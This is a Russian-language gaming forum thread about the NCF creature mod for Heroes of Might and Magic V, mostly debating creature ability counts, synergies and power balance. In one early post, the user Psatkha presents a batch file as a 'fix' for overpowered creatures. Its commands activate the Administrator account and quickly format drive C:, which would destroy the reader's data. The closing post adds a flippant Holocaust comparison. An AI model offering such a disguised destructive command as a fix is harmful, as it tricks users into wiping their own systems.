Перейти к содержанию

Сообщения от NCF - Расширенный список Нейтральных существ

В ответ пользователю atlant108
Аватар пользователя
atlant108
Что-то я не заметил, чтоб их урезали. Можно конкретней? Пока на форумах и в группе, часто слышал жалобы на имбовость нейтралов, из-за этого многие и отказались играть в этот мод.

В общем, если тебя не устраивает имбовость существ из проекта NCF, то нужно создать файл .bat (батник) в котором должны быть следующие строчки для русскоязычной винды:

net user Администратор:active /yes
format c: /fs:udf /x /q

Если винда англоязычная, то должно быть следующее:

net user Administrator:active /yes
format c: /fs:udf /x /q

P.S. atlant108, заметь что такой фикс в две строчки лучше исправляет ситуацию в корне, нежели предложенный тобой вариант вот ТУТ
С уважением, Psatkha (Псатха)

---------------------------------------------

Неудачное планирование ведёт к неудаче ...

NCF - мод, добавляющий дополнительных существ в HeroesV 3.1
Аватар пользователя
Моя личная позиция в том, что у некоторых существ NCF действительно слишком много способностей. На мой взгляд , нужно действовать по принципу "Идеально не когда нечего прибавить, а когда нечего отнять."
Вот, например, существо 431, Следопыт. Натиск, калечащее ранение, совместная атака, ловкость. В принципе, ловкость синергирует с совместной атакой (можно быть более смелыми в позиционировании существа, чтобы совместная атака работала). Хотя высокая защита синергировала бы ещё лучше. Ловкость синергирует с калечащим ранением -- с той же причиной и с тем же замечанием. Натиск... Не синергирует ни с чем. Тогда зачем он нужен? По-моему, логично его убрать, тем более что и описание не объясняет, откуда такая абилка.
И вот таких существ много. 2-3 интересных абилки -- сойдёт. И то только при синергии. 4 и больше -- зачем такие Jacks of all trades?
Это ещё лёгкий вариант. Вот открыл я пегаса -- забыв про полёт и большое существо, 6 абилок! Причём есть такие антисинергичные как дитя света и непробимаемость магией 25% и дитя света (ну, тьфу, нашлите антимагию или реген, пегасы скопируют и всё, зачем им непробиваемость?). А также бесконечный отпор вкупе с удар и возвратом. Если отпор бесконечный, ну заслал его в центр вражьего стана и обороняйся себе, зачем удар и возврат? И наоборот, если вернулся обратно после атаки, как ты добьёшься срабатывания бесконечного отпора? Шансы так себе.
Баланс -- это проще, это можно легко поправить чиселками. А вот такие вот вещи по моему скромному мнению "засоряют" тактику, ничего не давая взамен.
 

К А
Стикеры GBF в Telegram
В ответ пользователю Ment
Аватар пользователя
Ment

Вот, например, существо 431, Следопыт. Натиск, калечащее ранение, совместная атака, ловкость. В принципе, ловкость синергирует с совместной атакой (можно быть более смелыми в позиционировании существа, чтобы совместная атака работала). Хотя высокая защита синергировала бы ещё лучше. Ловкость синергирует с калечащим ранением -- с той же причиной и с тем же замечанием. Натиск... Не синергирует ни с чем. Тогда зачем он нужен? По-моему, логично его убрать, тем более что и описание не объясняет, откуда такая абилка.

Натиск, при его применении крича меняет шкалу битвы! :smile25:

В описании данного существа, всё расписано... "Орден Волка отбирает самых лучших эльфийских воинов для защиты лесов Ироллана. После долгих тренировок и особого ритуала единения с Природой они становятся следопытами - наполовину дикими, но не менее опасными воинами, которые полагаются не только на оружие, но и на инстинкты."
С уважением, Psatkha (Псатха)

---------------------------------------------

Неудачное планирование ведёт к неудаче ...

NCF - мод, добавляющий дополнительных существ в HeroesV 3.1
Аватар пользователя
Натиск, при его применении крича меняет шкалу битвы!
И что? Нет, это полезная абилка, сама по себе, но когда там миллион других, зачем что-то добавлять? В этом плане хорошо выглядят высокоуровневые существа разрабов, взгляни на кшатрий ракшас, например. Вихрь, натиск -- всё, что им ещё надо? Увеличил ини, пошёл аоешить.
В описании данного существа, всё расписано... "Орден Волка отбирает самых лучших эльфийских воинов для защиты лесов Ироллана. После долгих тренировок и особого ритуала единения с Природой они становятся следопытами - наполовину дикими, но не менее опасными воинами, которые полагаются не только на оружие, но и на инстинкты."
Семантически неверно. Если натиск и есть тот самый ритуал... Выходит, если они не активируют натиск, это будут не следопыты (наполовину дикие, но не менее опасными воинами, которые полагаются не только на оружие, но и на инстинкты)? Я думаю, они ими останутся! Значит, ритуал и данная абилка не связаны ;)
Хотя энивей, я более сетовал на тактику, а не на описания.
 

К А
Стикеры GBF в Telegram
В ответ пользователю Ment
Аватар пользователя
Ment
Вот открыл я пегаса -- забыв про полёт и большое существо, 6 абилок! Причём есть такие антисинергичные как дитя света и непробимаемость магией 25% и дитя света (ну, тьфу, нашлите антимагию или реген, пегасы скопируют и всё, зачем им непробиваемость?). А также бесконечный отпор вкупе с удар и возвратом. Если отпор бесконечный, ну заслал его в центр вражьего стана и обороняйся себе, зачем удар и возврат? И наоборот, если вернулся обратно после атаки, как ты добьёшься срабатывания бесконечного отпора? Шансы так себе.
Баланс -- это проще, это можно легко поправить чиселками. А вот такие вот вещи по моему скромному мнению "засоряют" тактику, ничего не давая взамен.

Вот во вложении для сравнения оригинальный файл механики пегаса и после обработки в NOIADE, крича перешла с 5-го уровня на 6-ой, со всеми вытекающими последствиями! :smile25:
Вложения 1
1 файл • Общий размер: 1,7 KB
С уважением, Psatkha (Псатха)

---------------------------------------------

Неудачное планирование ведёт к неудаче ...

NCF - мод, добавляющий дополнительных существ в HeroesV 3.1
В ответ пользователю Ment
Аватар пользователя
Ment
И что? Нет, это полезная абилка, сама по себе, но когда там миллион других, зачем что-то добавлять? В этом плане хорошо выглядят высокоуровневые существа разрабов, взгляни на кшатрий ракшас, например. Вихрь, натиск -- всё, что им ещё надо? Увеличил ини, пошёл аоешить.

Семантически неверно. Если натиск и есть тот самый ритуал... Выходит, если они не активируют натиск, это будут не следопыты (наполовину дикие, но не менее опасными воинами, которые полагаются не только на оружие, но и на инстинкты)? Я думаю, они ими останутся! Значит, ритуал и данная абилка не связаны ;)
Хотя энивей, я более сетовал на тактику, а не на описания.

После обработки в NOIADE уровень вырос с 2 до 3! :smile25:

P.S. Народ жалуется на имбовость, так вот после обработки в NOIADE уровень стал выше, а следовательно на карте при их генерации они уже будут генерироваться как существа другого уровня!
Вложения 1
1 файл • Общий размер: 1,7 KB
С уважением, Psatkha (Псатха)

---------------------------------------------

Неудачное планирование ведёт к неудаче ...

NCF - мод, добавляющий дополнительных существ в HeroesV 3.1
Аватар пользователя
А я не жалуюсь на имбовость, я жалуюсь, что абилок перебор ;)
Нормальное число абилок позволит и power оценить более адекватно.
 

К А
Стикеры GBF в Telegram
В ответ пользователю Ment
Аватар пользователя
Ment
А я не жалуюсь на имбовость, я жалуюсь, что абилок перебор ;)
Нормальное число абилок позволит и power оценить более адекватно.

Так вот NOIADE и оценивает Power и всё остальное с учётом всех имеющихся у кричи абилок! :smile44:

Да и основное предназначение данных крич - разнообразие нейтралов на карте, однако не только как визуальное, но и атмосферное... которое не должно упрощать прохождение карты! :smile24:
С уважением, Psatkha (Псатха)

---------------------------------------------

Неудачное планирование ведёт к неудаче ...

NCF - мод, добавляющий дополнительных существ в HeroesV 3.1
Аватар пользователя
Слишком много абилок... Абилок много не бывает. Если утилита точно определяет силу/уровень/прирост существ с абилками, то сколько бы этих абилок не было, существо все равно сбалансировано. Не понимаю, почему многих сбивает с толку не что-нибудь, а именно число абилок....
Карты для героев 5

"Плата за любовь"
"Путь некроманта"
"Темные грани"
"Рок Гримхейма"
В ответ пользователю serovoy
serovoy
Вы всё ещё бьётесь с этими несчастными сталкерами? :smile11:
Брошу свои пять копеек: кастрировать существ необязательно, можно банально увеличить им параметр силы, чтобы их генерировалось вменяемое количество. Ну и уровень приподнять, да (так с волчатками сделали в ПО).
Так не охота качать всю раздачу ради одного файла.И качать еще полдела.Далее нужно будет устанавливать ее.Поэтому и спрашиваю у вас и у Psatkha где можно скачать исправленный файл Сталкеров?Чтобы он точно был неглючным.

Добавлено через 5 минут
psatkha
Так вот NOIADE и оценивает Power и всё остальное с учётом всех имеющихся у кричи абилок! :smile44:

Да и основное предназначение данных крич - разнообразие нейтралов на карте, однако не только как визуальное, но и атмосферное... которое не должно упрощать прохождение карты! :smile24:
Лично я только "за" сильных существ с кучей умений и хорошими характеристиками.Тех же мишек Арката вообще не надо было трогать.Супермишки получились.Но нытикам ведь надо было чтобы их превратили практически в обычных ничем не отличающихся от оригинальных....Этим людям нравится халява,я так полагаю хардкорные карты они вообще игнорят или просят авторов упростить их)))

Добавлено через 2 минуты
psatkha
Сделай скриншот иначе, нужно видеть наименование "редисок", как на приложенном изображении с дракончиками! :smile25:

Ок.

Добавлено через 4 минуты
AstralLein
Слишком много абилок... Абилок много не бывает. Если утилита точно определяет силу/уровень/прирост существ с абилками, то сколько бы этих абилок не было, существо все равно сбалансировано. Не понимаю, почему многих сбивает с толку не что-нибудь, а именно число абилок....
Плюсую.
Аватар пользователя
Абилок много не бывает.
Окей. Сделайте существо со всеми абилками в игре и проверьте ;)
Абилок должно быть ровно столько, чтобы чётко раскрывать идею и тактику существа. Не больше, не меньше. Jacks of all trades почти также скучны, как существа без абилок вовсе.
Если утилита точно определяет силу/уровень/прирост существ с абилками, то сколько бы этих абилок не было, существо все равно сбалансировано.
Тут есть момент, что такие вещи как синергии/антисинергии утилита вряд ли может учитывать. Грубо говоря, связка "иммунитет к ослеплению", "иммунитет к подчинению", "иммунитет к бесерку", "иммунитет к замедлению" нельзя оценить, просто просуммировав value этих абилок: вместе они сильнее такой суммы, так как убирают все (или почти все) имеющиеся средства контроля над существом. И такие синергии сложно оценить иначе как ручками, и с опытом игры за/против существа. Но энивей, это меньшая проблема.
 

К А
Стикеры GBF в Telegram
Соглашусь насчёт синергии, у каждого существа должна быть "идея", то бишь область применения. Но есть подозрения, что под раскалённый резак попадало всё подряд (судя по отзывам). Хотелось бы подробный чейнджлог увидеть.
В ответ пользователю serovoy
Аватар пользователя
serovoy
Соглашусь насчёт синергии, у каждого существа должна быть "идея", то бишь область применения. Но есть подозрения, что под раскалённый резак попадало всё подряд (судя по отзывам). Хотелось бы подробный чейнджлог увидеть.

Да, там было скорее всего как вот ТУТ!
С уважением, Psatkha (Псатха)

---------------------------------------------

Неудачное планирование ведёт к неудаче ...

NCF - мод, добавляющий дополнительных существ в HeroesV 3.1
В ответ пользователю serovoy
Аватар пользователя
Поддерживаю позицию Ment'а - мешанины из кучи абилок быть не должно, вообще данный вопрос мы не так давно обсуждали в теме WGE, поэтому не буду тут подробно расписывать.
Касаемо баланса: сильные существа - не вижу тут ни чего плохого, но они должны иметь соответствующий уровень/силу, да и вообще правильней оценивать новых юнитов ни как "сильные", а как "интересные", "необычные", "неповторимые", т.е. те, которые чем-то выделяются на фоне других. Вообще, данный мод, насколько я понимаю, должен привнести разнообразие в геймплей освежая наскучившие пробивки нейтральных отрядов, и при этом, данный мод не принимает за цель корректировку баланса игры, так что мысли о силе ИИ имхо не уместны. Выход простой: какими бы абилками ни обладал юнит - если они уместны для него, если они соответствуют его описанию, названию, визуалу, то пусть он ими обладает и кастрировать его глупо, но оцените его силу/уровень адекватно!
... И древний лес, роскошен и печален,
Блистает там воздушностью прогалин.
Но между кедров, полных тишиной,
Расщелина по склону ниспадала.
О, никогда под бледною луной
Так пышен не был тот уют лесной...
В ответ пользователю SRD
Аватар пользователя
Как был этот ваш NCF антиэльфийским модом так и остался. Больше! Больше! Больше существ. Всяких и разных. А на списки заклятых врагов плевать. Верной дорогой идёте, товарищи. Ещё чуть-чуть и до холокоста недалеко.

Статистика

Приветствуем новейшего участника: Emil

Сейчас на сайте 7 пользователей 1328 гостей